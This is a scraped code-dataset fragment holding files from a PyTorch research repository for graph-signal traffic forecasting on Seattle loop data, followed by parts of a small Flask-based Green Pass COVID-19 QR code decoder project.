FFR: free flow reachability matrices\n \"\"\"\n speed_matrix = pd.read_pickle( directory + 'speed_matrix_2015',)\n A = np.load( directory + 'Loop_Seattle_2015_A.npy')\n\n if not binary:\n cor = rbf_kernel(speed_matrix[:1000].T/10) \n A = cor*(A) \n e, V = np.linalg.eigh(A)\n A/=np.max(e)\n A = A-np.diag(A.diagonal())\n\n FFR_5min = np.load( directory + 'Loop_Seattle_2015_reachability_free_flow_5min.npy')\n FFR_10min = np.load( directory + 'Loop_Seattle_2015_reachability_free_flow_10min.npy')\n FFR_15min = np.load( directory + 'Loop_Seattle_2015_reachability_free_flow_15min.npy')\n FFR_20min = np.load( directory + 'Loop_Seattle_2015_reachability_free_flow_20min.npy')\n FFR_25min = np.load( directory + 'Loop_Seattle_2015_reachability_free_flow_25min.npy')\n FFR = [FFR_5min, FFR_10min, FFR_15min, FFR_20min, FFR_25min]\n return speed_matrix, A, FFR\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6330093741416931, "alphanum_fraction": 0.6450684070587158, "avg_line_length": 40.14814758300781, "blob_id": "8ad7329add969b023b2d9162186f5839b3616af8", "content_id": "c5e9dfe952a5ff9c13778c00b4373e08b211d350", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5556, "license_type": "no_license", "max_line_length": 165, "num_lines": 135, "path": "/main/seattle_train_sggru_semisupervised.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport torch\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport time\n\nfrom data.Load_data import Seattle_data\nfrom data.Dataloader import *\n\nfrom pytorch_gsp.train.train_rnn import Evaluate, Train\nfrom pytorch_gsp.utils.gsp import ( greedy_e_opt, spectral_components)\nfrom pytorch_gsp.models.sggru import *\n\ndef n_params(model):\n params=[]\n for param in model.parameters():\n params.append(param.numel())\n return np.sum(params)\n\nprint(torch.__version__)\n\n\n\ndef training_routine(args):\n \n\n device = 'cuda' if torch.cuda.is_available else 'cpu'\n if args.device == 'cuda' and device == 'cpu':\n print(\"cuda is not available, device set to cpu\")\n else:\n assert (args.device in ['cpu','cuda'])\n device = args.device\n\n lr = args.lr\n epochs = args.epochs\n seq_len = args.seq_len\n pred_len = args.pred_len\n patience = args.patience\n name = args.save_name\n speed_matrix, A, FFR = Seattle_data('data/Seattle_Loop_Dataset/') #put seattle Loop dataset in this directory\n \n \n N = speed_matrix.shape[1]\n\n S = int(args.sample_perc*N/100)\n if args.F_perc is None:\n F = int(S/3)\n else:\n F = int(args.F_perc*N/100)\n\n assert(S>F) # the sampling set must be larger than the spectral support\n\n #compute gft\n F_list, V = spectral_components(A,np.array(speed_matrix)[:1000] )\n if args.supervised:\n freqs = F_list[:F]\n else:\n freqs = np.arange(0,F,1)\n\n if args.e_opt:\n print(\"Using e-optimal greedy algorithm\")\n if args.sample_perc == 25:\n sample = np.load( 'data/Seattle_Loop_Dataset/sample_opt25.npy')[0]\n elif args.sample_perc == 50:\n sample = np.load( 'data/Seattle_Loop_Dataset/sample_opt50.npy')[0]\n elif args.sample_perc == 75:\n sample = np.load( 'data/Seattle_Loop_Dataset/sample_opt75.npy')[0]\n else: \n sample = greedy_e_opt(V[:,Fs],S)\n \n else: sample = np.sort(np.random.choice(np.arange(N), S, replace = False)) \n\n S = len(sample) \n pre_time = time.time()\n \n train, valid, test,max_value = SplitData(speed_matrix.values, label = None, seq_len = 10,\n pred_len = 1, train_proportion = 0.7,\n valid_proportion = 0.2, shuffle = False)\n\n pipeline = DataPipeline(sample,V,freqs,seq_len,pred_len)\n\n train_dataloader = pipeline.fit(train)\n valid_dataloader = pipeline.transform(valid)\n test_dataloader = pipeline.transform(test,sample_label=False,batch_size = test.shape[0]-seq_len-pred_len,shuffle=False)\n \n print(\"Preprocessing time:\", time.time()-pre_time) \n\n \n layer = SpectralGraphForecast(V, sample,freqs, rnn = 'gru')\n if args.supervised:\n sggru = model(V,sample,freqs, layer,l1=0,l2=0.0,supervised = True).to(device)\n else:\n sggru = model(V,sample,freqs, layer,l1=0,l2=0.0,supervised = False).to(device)\n \n pre_time = time.time()\n\n print(\"Total number of nodes: {}\".format(N))\n print(\"Sample size: {}\".format(S))\n print(\"Spectral sample size: {}\".format(F))\n print(\"Initial learning rate: {}\".format(lr))\n\n \n sggru,sggru_loss= Train(sggru ,train_dataloader, valid_dataloader, epochs = epochs, \n learning_rate = lr,patience=patience ,sample = sample)\n print(\"Training time:\", time.time()-pre_time)\n pre_time = time.time()\n sggru_test = Evaluate(sggru.to(device), test_dataloader, max_value )\n print(\"Test time:\", time.time()-pre_time)\n name = 'sggru'\n\n loss = (sggru_loss,sggru_test)\n os.makedirs(\"models_and_losses/\", exist_ok=True)\n torch.save(sggru, \"models_and_losses/{}.pt\".format(name))\n np.save(\"models_and_losses/{}.npy\".format(name),loss)\n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Semi-Supervised Prediction\\n SeattleLoop dataset \\n download link: https://github.com/zhiyongc/Seattle-Loop-Data ')\n parser.add_argument('--epochs', type=int, default = 100, help='maximum number of epochs before stopping training')\n parser.add_argument('--lr', type=float, default = 1e-4, help='starting learn rate' )\n parser.add_argument('--patience', type=int, default = 10, help='number of consecutive non-improving validation loss epochs before stop training')\n parser.add_argument('--sample-perc', type=int, default = 50, help='percentage of in-sample nodes')\n parser.add_argument('--F-perc', type=int, default = None, help='percentage of frequencies to keep in frequency set \\mathcal{F}')\n parser.add_argument('--S-perc', type=int, default = 50, help='percentage of samples')\n parser.add_argument('--e-opt', action='store_true',help='if sampling is performed by E-optmal greedy algorithm')\n parser.add_argument('--sample-seed',type=int,default=1, help='number of run with uniformely random samples. Only used if --e-opt is False')\n parser.add_argument('--seq-len', type=int,default=10, help='history length')\n parser.add_argument('--pred-len', type=int,default=1, help='prediction horizon')\n parser.add_argument('--save-name', type=str, default='sggru_S50_F53_opt_pred1', help='name of file')\n parser.add_argument('--supervised', action='store_true', help='if training is supervised or semi-supervised. Deafault is semi-supervised')\n parser.add_argument('--device', type=str, default='cuda', help='devices: cuda or cpu')\n args = parser.parse_args()\n training_routine(args)\n\n" }, { "alpha_fraction": 0.6002984046936035, "alphanum_fraction": 0.6075928211212158, "avg_line_length": 38.006492614746094, "blob_id": "b51a231292732e949f179c9b68a5e39ab441aaa0", "content_id": "417aef167be1d04e9ea3e099ac693be272efa572", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6032, "license_type": "no_license", "max_line_length": 137, "num_lines": 154, "path": "/data/Dataloader.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "\nimport time\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.utils.data as utils\n\nfrom pytorch_gsp.utils.gsp import complement\n\n\ndef PrepareSequence(data, seq_len = 10, pred_len = 1):\n \n time_len = data.shape[0] \n sequences, labels = [], [] \n for i in range(time_len - seq_len - pred_len): \n sequences.append(data[i:i+seq_len]) \n labels.append(data[i+seq_len+pred_len-1:i+seq_len+pred_len]) \n return np.asarray(sequences), np.asarray(labels)\n \n \n\ndef SplitData(data, label = None, seq_len = 10, pred_len = 1, train_proportion = 0.7,\n valid_proportion = 0.2, shuffle = False):\n\n max_value = np.max(data) \n data /= max_value\n samp_size = data.shape[0] \n if label is not None:\n assert(label.shape[0] == samp_size)\n\n index = np.arange(samp_size, dtype = int) \n train_index = int(np.floor(samp_size * train_proportion))\n valid_index = int(np.floor(samp_size * ( train_proportion + valid_proportion))) \n \n if label is not None:\n train_data, train_label = data[:train_index+pred_len-1], label[:train_index+pred_len-1]\n valid_data, valid_label = data[train_index-seq_len:valid_index+pred_len-1], label[train_index-seq_len:valid_index+pred_len-1] \n test_data, test_label = data[valid_index-seq_len:], label[valid_index-seq_len:]\n return (train_data, train_label), (valid_data, valid_label), (test_data, test_label), max_value\n\n else:\n train_data = data[:train_index+pred_len-1]\n valid_data = data[train_index-seq_len:valid_index+pred_len-1] \n test_data = data[valid_index-seq_len:] \n return train_data ,valid_data, test_data, max_value\n\n\n\ndef Dataloader(data, label, batch_size = 40, suffle = False):\n \n data, label = torch.Tensor(data), torch.Tensor(label )\n dataset = utils.TensorDataset(data, label) \n dataloader = utils.DataLoader(dataset, batch_size = batch_size, shuffle=suffle, drop_last = True)\n return dataloader\n\n\ndef Preprocessing_hop_interp(matrix, A ,sample): \n \n unknown = complement(sample,matrix.shape[1])\n features_unknown = np.copy(matrix.values)\n features_unknown[:,unknown] = np.mean(matrix.values[:100,sample])\n for node in unknown:\n neighbors = np.nonzero(A[node])[0]\n for t in range(features_unknown.shape[0]): \n features_unknown[np.array([t]), np.array([node])] = np.mean(features_unknown[t, neighbors]) \n return features_unknown\n\n\ndef MaxScaler(data):\n max_value = np.max(data)\n return max_value, data/max_value\n\ndef Preprocessing_GFT(matrix,sample, V , freqs ):\n\n x = matrix.T\n Vf = V[:, freqs]\n Psi = np.zeros((V.shape[0],x.shape[1]))\n Psi[sample] = x\n Tx = (Vf.T@Psi).T\n return Tx\n \nclass DataPipeline:\n def __init__(self, sample, V , freqs ,seq_len, pred_len, gft = True):\n \"\"\"\n DataPipeline: perform the sampling procedure on the graph signals and create the dataloader object\n Args: \n sample (np array): list of graph indices \n V (2D np array): Laplacian eigenvector matrix\n freqs (np array): list of frequency indices \n seq_len (int, optional): size of historical data. Defaults to 10.\n pred_len (int, optional): number of future samples. Defaults to 1. \n gft (bool, optional): if Fourier transform should be applied. Defaults to False. \n \"\"\"\n\n self.sample = sample\n self.V = V\n self.freqs = freqs\n self.seq_len = seq_len\n self.pred_len = pred_len\n self.gft = gft\n\n def fit(self,train_data,sample_label = True, batch_size=40, shuffle=True):\n \"\"\"\n fit: build dataloader for training data\n\n Args:\n train_data (numpy array): train data\n sample_label (bool, optional): If labels should be sampled for a semisupervised\n learning. Defaults to True.\n batch_size (int, optional): batch size. Defaults to 40.\n shuffle (bool, optional): If samples should be shuffled. Defaults to True.\n\n Returns:\n pytorch Dataloader: train data prepared for training\n \"\"\"\n \n train_X, train_y = PrepareSequence(train_data, seq_len = self.seq_len, pred_len = self.pred_len)\n\n if self.gft:\n train_data_freqs = Preprocessing_GFT(train_data[:,self.sample],self.sample, self.V , self.freqs ) \n train_X_freqs, _ = PrepareSequence(train_data_freqs, seq_len = self.seq_len, pred_len = self.pred_len)\n train_X = np.concatenate((train_X[:,:,self.sample], train_X_freqs), axis=-1)\n\n if sample_label:\n train_y = train_y.T[self.sample]\n train_y = train_y.T\n \n return Dataloader(train_X, train_y, batch_size, shuffle)\n\n def transform(self, data, sample_label = True, batch_size=40,shuffle=True):\n \"\"\"\n transform: build dataloader for validation and test data\n\n Args:\n train_data (numpy array): train data\n sample_label (bool, optional): If validation labels should be sampled for a\n semisupervised learning. Defaults to True.\n batch_size (int, optional): batch size. Defaults to 40.\n shuffle (bool, optional): If samples should be shuffled. Defaults to True.\n\n Returns:\n pytorch Dataloader: train data prepared for training\n \"\"\"\n \n X, y = PrepareSequence(data, seq_len = self.seq_len, pred_len = self.pred_len)\n\n if self.gft:\n data_freqs = Preprocessing_GFT(data[:,self.sample],self.sample, self.V , self.freqs) \n X_freqs, _ = PrepareSequence(data_freqs, seq_len = self.seq_len, pred_len = self.pred_len)\n \n X = np.concatenate((X[:,:,self.sample], X_freqs), axis=-1)\n if sample_label:\n y = y.T[self.sample]\n y = y.T\n return Dataloader(X, y, batch_size, shuffle)\n\n \n\n\n \n \n\n\n" }, { "alpha_fraction": 0.7195122241973877, "alphanum_fraction": 0.7256097793579102, "avg_line_length": 26.5, "blob_id": "f2016bb663ea0e05494ccb604aaeb1ce911cbd88", "content_id": "925d6ccfd3ae4e0bc000af383025d21f3a3eb921", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 164, "license_type": "no_license", "max_line_length": 75, "num_lines": 6, "path": "/main/__init.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "import os\nimport sys\n\ncurrent_dir = os.path.split(os.path.dirname(os.path.realpath(__file__)))[0]\nsys.path.append(os.path.join(current_dir, 'data'))\nprint(sys.path)" }, { "alpha_fraction": 0.6697039008140564, "alphanum_fraction": 0.7038724422454834, "avg_line_length": 35.66666793823242, "blob_id": "e8ecafc625447cde39fbc71a31df961ce7674568", "content_id": "6ecf2b52d01130895df80271a3ec19716e86daa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 439, "license_type": "no_license", "max_line_length": 110, "num_lines": 12, "path": "/setup.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\n\nsetup(\n name='Joint-Forecasting-and-Interpolation-of-Graph-Signals-Using-Deep-Learning',\n version='0.1.0',\n author='Gabriela Lewenfus',\n author_email='gabriela.lewenfus@gmail.com',\n packages=find_packages(),\n install_requires = ['scipy>=1.4.1', 'pandas>=0.15', 'scikit-learn>=0.22', 'numpy>=0.46'],\n description='Code from the paper Joint Forecasting and Interpolation of Graph Signals Using Deep Learning',\n\n)" }, { "alpha_fraction": 0.526187002658844, "alphanum_fraction": 0.5390765070915222, "avg_line_length": 30.597938537597656, "blob_id": "c22023254a11bacf152991d1d5d07bad63c6f63c", "content_id": "236099ad18c688d1217c389efff9c004f7f436ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6129, "license_type": "no_license", "max_line_length": 125, "num_lines": 194, "path": "/pytorch_gsp/train/train_rnn.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "### training code ####\n\nimport sys\nimport time\n\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\n\ntoolbar_width=20\n\n\n\ndef Train(model, train_dataloader, valid_dataloader, learning_rate = 1e-5, epochs = 300, patience = 10, \nverbose=1, gpu = True, sample = None, optimizer = 'rmsprop'):\n\n if optimizer == 'rmsprop':\n optimizer = torch.optim.RMSprop(model.parameters(), lr = learning_rate)\n elif optimizer == 'adam':\n optimizer = torch.optim.Adam(model.parameters(), lr = learning_rate )\n\n loss_MSE = torch.nn.MSELoss()\n loss_L1 = torch.nn.L1Loss()\n batch_size = train_dataloader.batch_size\n \n if gpu: device='cuda' \n else: device= 'cpu'\n \n losses_epochs_train = []\n losses_epochs_valid = []\n time_epochs = []\n time_epochs_val = []\n\n is_best_model = 0\n patient_epoch = 0\n scheduler = model.schedule(optimizer)\n\n for epoch in range(epochs):\n pre_time = time.time() \n\n try:\n data_size=train_dataloader.dataset.data_size\n except: pass\n try:\n data_size=train_dataloader.dataset.tensors[0].shape[0]\n except: pass\n n_iter=data_size/train_dataloader.batch_size\n if verbose:\n count=0\n\n checkpoints=np.linspace(0,n_iter,toolbar_width).astype(np.int16)\n text='Epoch {:02d}: '.format(epoch)\n sys.stdout.write(text+\"[%s]\" % (\" \" * toolbar_width))\n sys.stdout.flush()\n sys.stdout.write(\"\\b\" * (toolbar_width+1))\n\n losses_train = []\n losses_valid = []\n\n for data in train_dataloader: \n inputs, labels = data\n if inputs.shape[0] != batch_size:\n continue\n\n model.zero_grad() \n outputs = model(inputs.to(device))\n outputs, y = torch.squeeze(outputs), torch.squeeze(labels).to(device) \n loss_train = model.loss(outputs,y)\n \n losses_train.append(loss_train.cpu().data.numpy())\n optimizer.zero_grad()\n loss_train.backward()\n optimizer.step() \n \n if verbose:\n if count in checkpoints:\n sys.stdout.write('=')\n sys.stdout.flush()\n count+=1\n \n for param_group in optimizer.param_groups:\n learning_rate = param_group['lr']\n if learning_rate >1e-5:\n scheduler.step()\n time_epochs.append(time.time()-pre_time)\n\n pre_time = time.time() \n \n losses_valid = []\n for data in valid_dataloader: \n inputs, labels = data\n if inputs.shape[0] != batch_size:\n continue\n \n outputs= model(inputs.to(device))\n outputs, y = torch.squeeze(outputs), torch.squeeze(labels).to(device) \n losses_valid.append(model.loss(outputs, y).cpu().data.numpy())\n \n time_epochs_val.append(time.time()-pre_time)\n losses_epochs_train.append(np.mean(losses_train))\n losses_epochs_valid.append(np.mean(losses_valid))\n \n avg_losses_epoch_train = losses_epochs_train[-1]\n avg_losses_epoch_valid = losses_epochs_valid[-1] \n \n \n if avg_losses_epoch_valid >100000000000:\n print(\"Diverged\")\n return (None,None)\n if epoch == 0:\n is_best_model = True\n best_model = model\n min_loss = avg_losses_epoch_valid\n else:\n if min_loss - avg_losses_epoch_valid > 1e-6:\n is_best_model = True\n best_model = model\n min_loss = avg_losses_epoch_valid\n patient_epoch = 0\n else:\n is_best_model = False\n patient_epoch += 1\n if patient_epoch >= patience:\n print('Early Stopped at Epoch:', epoch)\n break\n \n if verbose:\n sys.stdout.write(\"]\")\n \n print(' train loss: {}, valid loss: {}, time: {}, lr: {}'.format( \\\n np.around(avg_losses_epoch_train, 6),\\\n np.around(avg_losses_epoch_valid, 6),\\\n np.around([time_epochs[-1] ] , 2),\\\n learning_rate) )\n \n\n return best_model, [losses_epochs_train ,\n losses_epochs_valid ,\n time_epochs ,\n time_epochs_val ]\n\n\ndef Evaluate(model, dataloader, scale=1, pred_len = 1, gpu = True):\n\n batch_size = dataloader.batch_size\n pre_time = time.time()\n\n gpu = torch.cuda.is_available()\n if gpu: device='cuda' \n else: device= 'cpu'\n\n losses_mse = []\n losses_l1 = []\n losses_mape = []\n\n for i,data in enumerate(dataloader):\n inputs, labels = data\n if inputs.shape[0] != batch_size:\n continue\n\n outputs = model(inputs.to(device))\n outputs, y = torch.squeeze(outputs), torch.squeeze(labels).to(device)\n \n loss_mse = torch.nn.MSELoss()(outputs*scale, y*scale).cpu().data\n loss_l1 = torch.nn.L1Loss()(outputs*scale, y*scale).cpu().data\n \n outputs = outputs.cpu().data.numpy()\n y = y.cpu().data.numpy() \n outputs = outputs*scale\n y = y*scale\n \n abs_diff = np.abs((outputs-y))\n abs_y = np.abs(y)\n abs_diff=abs_diff[abs_y>1]\n abs_y=abs_y[abs_y>1]\n \n loss_mape = abs_diff/abs_y\n loss_mape = np.mean(loss_mape)*100 \n \n losses_mse.append(loss_mse)\n losses_l1.append(loss_l1)\n losses_mape.append(loss_mape)\n \n losses_l1 = np.array(losses_l1)\n losses_mse = np.array(losses_mse)\n mean_l1 = np.mean(losses_l1, axis = 0) \n rmse = np.mean(np.sqrt(losses_mse))\n print('Test: MAE: {}, RMSE : {}, MAPE : {}'.format(mean_l1, rmse,np.mean(losses_mape)))\n \n\n return [losses_l1, losses_mse, mean_l1, np.mean(losses_mape), time.time()-pre_time]\n\n\n### modified from https://github.com/zhiyongc/Graph_Convolutional_LSTM/blob/master/Code_V2/HGC_LSTM%20%26%20Experiments.ipynb" }, { "alpha_fraction": 0.5530861616134644, "alphanum_fraction": 0.5687471032142639, "avg_line_length": 34.88429641723633, "blob_id": "bf74c2a8ef962ebbcabd1eaf800b3924a6128197", "content_id": "a5b3dcfa41712860b2cd4314af75f8ace7974185", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8684, "license_type": "no_license", "max_line_length": 117, "num_lines": 242, "path": "/pytorch_gsp/models/sggru.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "import torch.utils.data as utils\nimport torch.nn.functional as F\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\nimport numpy as np\nimport pandas as pd\nimport time\nfrom pytorch_gsp.utils.gsp import (spectral_components, Reconstruction)\n\nclass SpectralGraphForecast(nn.Module):\n \"\"\"\n SpectralGraphForecast \n\n Args:\n V (numpy array): eingenvectors matrix graph signal processing model (i.e.: Laplacian matrix of the graph)\n sample (numpy array): indices of in sample nodes\n freqs (numpy array): frequency components to be used in interpolation\n rnn (str, optional): predictive model: lstm, gru, 1dconv. Defaults to 'gru'. \n \"\"\"\n def __init__(self, V, sample,freqs, rnn = 'gru'):\n super(SpectralGraphForecast, self).__init__() \n \n self.N = V.shape[0] # number of nodes in the entire graph\n self.d = len(freqs) # number of frequencies\n self.n = len(sample) # number of samples\n self.sample = sample\n if rnn == 'gru': \n self.srnn = nn.GRU(self.d,self.d,1, batch_first=True)\n self.rnn =nn.GRU(self.n,self.n,1, batch_first=True)\n elif rnn == 'lstm':\n self.srnn = nn.LSTM(self.d,self.d,1, batch_first=True)\n self.rnn =nn.LSTM(self.n,self.n,1, batch_first=True)\n elif rnn == '1dconv':\n self.srnn = nn.Conv1d(self.d,self.d,1, batch_first=True)\n self.rnn =nn.Conv1d(self.n,self.n,1, batch_first=True)\n\n if self.n != self.N:\n self.interpolate = Reconstruction(V,sample,freqs, domain='spectral')\n self.interpolate2 = Reconstruction(V,sample,freqs, domain='vertex')\n \n self.linear = nn.Linear(self.N*2,self.N)\n \n def forward(self, input):\n x = input[:,:,:self.n]\n x_hat = input[:,:,self.n:]\n bz, seq_len, _ = x.size()\n \n x_hat = self.srnn(x_hat)[0][:,-1,:]\n \n if self.n != self.N:\n xtilde = self.interpolate(x_hat).unsqueeze(1)\n else:\n xtilde = x_hat.unsqueeze(1)\n \n x = self.rnn(x)[0][:,-1,:]\n\n if self.n != self.N:\n x1 = self.interpolate2(x) \n x1[:,self.sample] = x\n\n else:\n x1 = x\n x1 = x1.unsqueeze(1) \n x1 = torch.cat((xtilde,x1),dim = 1).reshape((bz, self.N*2))\n return self.linear(x1)\n\nclass SpectralGraphForecast2(nn.Module):\n \"\"\"\n SpectralGraphForecast2: combination of predictive models in both spectral and vertex domains\n\n Args:\n V (numpy array): eingenvectors matrix graph signal processing model (i.e.: Laplacian matrix of the graph)\n sample (numpy array): indices of in sample nodes\n freqs (numpy array): frequency components to be used in interpolation\n rnn (str, optional): predictive model: lstm, gru, . Defaults to 'gru'. \n \"\"\"\n def __init__(self, V, sample,freqs, rnn = 'gru'):\n\n super(SpectralGraphForecast2, self).__init__()\n \n \n self.N = V.shape[0]\n self.d = len(freqs)\n self.n = len(sample)\n self.sample = sample\n if rnn == 'gru':\n \n self.srnn = nn.GRU(self.d,self.d,1, batch_first=True)\n self.rnn =nn.GRU(self.n,self.n,1, batch_first=True)\n elif rnn == 'lstm':\n self.srnn = nn.LSTM(self.d,self.d,1, batch_first=True)\n self.rnn =nn.LSTM(self.n,self.n,1, batch_first=True)\n\n if self.n != self.N:\n self.interpolate = Reconstruction(V,sample,freqs, domain='sprctral')\n self.interpolate2 = Reconstruction(V,sample,freqs, domain='vertex')\n \n \n self.w = Parameter(torch.Tensor(self.N), requires_grad=True)\n self.w.data.fill_(0.01)\n\n def forward(self, input):\n x = input[:,:,:self.n]\n x_hat = input[:,:,self.n:]\n bz, seq_len, _ = x.size()\n \n x_hat = self.srnn(x_hat)[0][:,-1,:]\n \n if self.n != self.N:\n xtilde = self.interpolate(x_hat)\n else:\n xtilde = x_hat\n \n x = self.rnn(x)[0][:,-1,:]\n\n if self.n != self.N:\n x1 = self.interpolate2(x) \n\n return torch.tanh(self.w)*xtilde + (1-torch.tanh(self.w))*x1\n\nclass model(nn.Module):\n def __init__(self, V, sample,freqs, layer, supervised = True, l1=0,l2=0, schedule_step=10):\n \"\"\"\n model: model class to use the SpectralGraphForecast layer \n\n Args:\n V (numpy array): eingenvector matrix graph from signal processing model (i.e.: Laplacian matrix of the graph)\n sample (numpy array): indices of in sample nodes\n freqs (numpy array): frequency components to be used in interpolation\n layer (nn.Module): SpectralGraphForecast layer\n \"\"\"\n super(model, self).__init__()\n \n self.N = V.shape[0]\n self.d = len(freqs)\n self.n = len(sample)\n self.supervised = supervised\n self.sample = sample\n self.layer = layer\n self.l1 = l1\n self.l2 = l2\n self.schedule_step = schedule_step\n if not supervised:\n self.interpolate = Reconstruction(V,sample,freqs, domain='vertex')\n \n def forward(self, input):\n \n return self.layer(input)\n \n def loss(self,out,y):\n assert (self.l1+self.l2 <=1)\n assert(self.l1>=0)\n assert(self.l2>=0)\n regularization_loss = 0\n if self.l1 != 0:\n regularization_loss += self.l1*torch.nn.L1Loss()(y[:,self.sample],out[:,self.sample])\n if self.l2 != 0:\n regularization_loss += self.l2*torch.norm(y[:,self.sample]-out[:,self.sample])\n \n if not self.supervised:\n ys = y\n y = self.interpolate(ys) \n y[:,self.sample] = ys\n return torch.nn.MSELoss()(y,out) + regularization_loss\n \n\n def schedule(self,opt):\n for param_group in opt.param_groups:\n learning_rate = param_group['lr']\n if learning_rate > 1e-5:\n lamb = lambda epoch: 0.5 if epoch%10 == 0 else 1\n else: lamb = lambda epoch: 1 if epoch%10 == 0 else 1\n \n return torch.optim.lr_scheduler.MultiplicativeLR(opt, lr_lambda=[lamb])\n\n\nclass model2(nn.Module):\n def __init__(self, V, sample,freqs, layer,l1=0,l2=0,schedule_step=10, supervised = True, unsqueeze=False):\n super(model2, self).__init__()\n \"\"\"\n model2: interepolates the signal before running the layer.\n\n Args:\n V (numpy array): eingenvector matrix graph from signal processing model (i.e.: Laplacian matrix of the graph)\n sample (numpy array): indices of in sample nodes\n freqs (numpy array): frequency components to be used in interpolation\n layer (nn.Module): layer\n \"\"\"\n self.N = V.shape[0]\n self.d = len(freqs)\n self.n = len(sample)\n self.supervised = supervised\n self.sample = sample\n self.unsqueeze = unsqueeze\n self.layer = layer \n self.l1 = l1\n self.l2 = l2\n self.schedule_step = schedule_step\n self.interpolate2 = Reconstruction(V,sample,freqs, domain='vertex')\n if not supervised:\n self.interpolate = Reconstruction(V,sample,freqs, domain='vertex')\n self.linear = torch.nn.Linear(self.N,self.N)\n \n def forward(self, input):\n bz, seq_len, N = input.size()\n if self.unsqueeze:\n x = input.unsqueeze(dim=1)\n x = self.layer(input)\n if N < self.N:\n x1 = self.interpolate2(x)\n x1[:,self.sample] = x\n else: x1 = x\n return x1\n \n def loss(self,out,y):\n assert (self.l1+self.l2 <1)\n assert(self.l1>=0)\n assert(self.l2>=0)\n regularization_loss = 0\n if self.l1 != 0:\n regularization_loss += self.l1*torch.nn.L1Loss()(y[:,self.sample],out[:,self.sample])\n if self.l2 != 0:\n regularization_loss += self.l2*torch.norm(y[:,self.sample]-out[:,self.sample])\n \n if not self.supervised:\n ys = y\n y = self.interpolate(ys) \n y[:,self.sample] = ys\n return torch.nn.MSELoss()(y,out) + regularization_loss\n \n\n def schedule(self,opt):\n \n for param_group in opt.param_groups:\n learning_rate = param_group['lr']\n if learning_rate > 1e-5:\n lamb = lambda epoch: 1/2 if epoch%self.schedule_step == 0 else 1\n else: lamb = lambda epoch: 1 if epoch%5 == 0 else 1\n \n return torch.optim.lr_scheduler.MultiplicativeLR(opt, lr_lambda=[lamb])\n" } ]
9
sciaso/greenpass-covid19-qrcode-decoder
https://github.com/sciaso/greenpass-covid19-qrcode-decoder
b129b8934d63c6b06510b511f74a2bf31f33555e
49560580f880631063139c17abc7ac0da005ddb3
6cabd5d939975255c844a0267459444d0ab729bd
refs/heads/master
2023-08-22T18:07:58.355991
2021-10-01T12:55:57
2021-10-01T12:55:57
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6798307299613953, "alphanum_fraction": 0.6939350962638855, "avg_line_length": 32.761905670166016, "blob_id": "104f246fe49edc5aa4628e495816f9fb78c9f183", "content_id": "e2c9c166259e22401af59ccf0d38c389b3d7fd9a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 709, "license_type": "permissive", "max_line_length": 88, "num_lines": 21, "path": "/lib/greenpass.py", "repo_name": "sciaso/greenpass-covid19-qrcode-decoder", "src_encoding": "UTF-8", "text": "from pyzbar.pyzbar import decode\nfrom PIL import Image\nfrom base45 import b45decode\nfrom zlib import decompress\nfrom flynn import decoder as flynn_decoder\nfrom lib.datamapper import DataMapper as data_mapper\n\n\nclass GreenPassDecoder(object):\n stream_data = None\n\n def __init__(self, stream_data):\n self.stream_data = decode(Image.open(stream_data))[0].data\n\n def decode(self, schema):\n qr_decoded = self.stream_data[4:]\n qrcode_data = decompress(b45decode(qr_decoded))\n (_, (header_1, header_2, cbor_payload, sign)) = flynn_decoder.loads(qrcode_data)\n data = flynn_decoder.loads(cbor_payload)\n dm = data_mapper(data, schema)\n return dm.convert_json()\n" }, { "alpha_fraction": 0.746666669845581, "alphanum_fraction": 0.746666669845581, "avg_line_length": 29.200000762939453, "blob_id": "256ba81cc58f3f9ffad31b958a00a7e53c780049", "content_id": "d4c9149882ec8c8f6f39480c6272aa19a6d2e0b2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 150, "license_type": "permissive", "max_line_length": 52, "num_lines": 5, "path": "/gen_translations.sh", "repo_name": "sciaso/greenpass-covid19-qrcode-decoder", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\npybabel extract -F babel.cfg -k _l -o messages.pot .\npybabel update -i messages.pot -d translations -l it\npybabel compile -d translations" }, { "alpha_fraction": 0.7473118305206299, "alphanum_fraction": 0.7688171863555908, "avg_line_length": 22.375, "blob_id": "bee54c317541e0f86323499d9facb999561caf7d", "content_id": "c170fa4f2702bac6a5528068848623db035133a8", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 186, "license_type": "permissive", "max_line_length": 53, "num_lines": 8, "path": "/README.md", "repo_name": "sciaso/greenpass-covid19-qrcode-decoder", "src_encoding": "UTF-8", "text": "## Green Pass Covid-19 QRCode Decoder\n\nAn easy tool for decoding Green Pass Covid-19 Qrcode.\nBuilt using Python and Flask framework.\n\n### DEMO\n\nURL: https://greenpass-decoder.debbaweb.it" }, { "alpha_fraction": 0.4517184793949127, "alphanum_fraction": 